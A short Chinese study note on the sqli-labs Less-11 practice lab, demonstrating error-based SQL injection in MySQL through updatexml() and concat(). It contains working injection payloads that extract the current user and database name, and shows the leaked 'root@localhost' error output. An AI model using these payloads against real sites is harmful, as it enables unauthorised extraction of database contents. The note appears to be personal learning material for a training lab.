sqli-labs之报错注入练习笔记

http://localhost/sqli-labs-master/Less-11/

输入:

' and updatexml(1,concat(0x7e,(select user()),0x7e),1) #
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

updatexml()函数的格式为:updatexml (xml_document, XPath_string, new_value);
参数:xml_document是String格式,为XML文档对象的名称,文中为Doc
参数:XPath_string (Xpath格式的字符串) 
参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变xml_document中符合XPATH_string的值
concat()函数是将数据连成一个字符串,

' and updatexml(1,~security~,1) #

因此不会符合XPATH_string的格式,从而出现格式错误,

爆出ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

 

你可能感兴趣的:(个人学习笔记)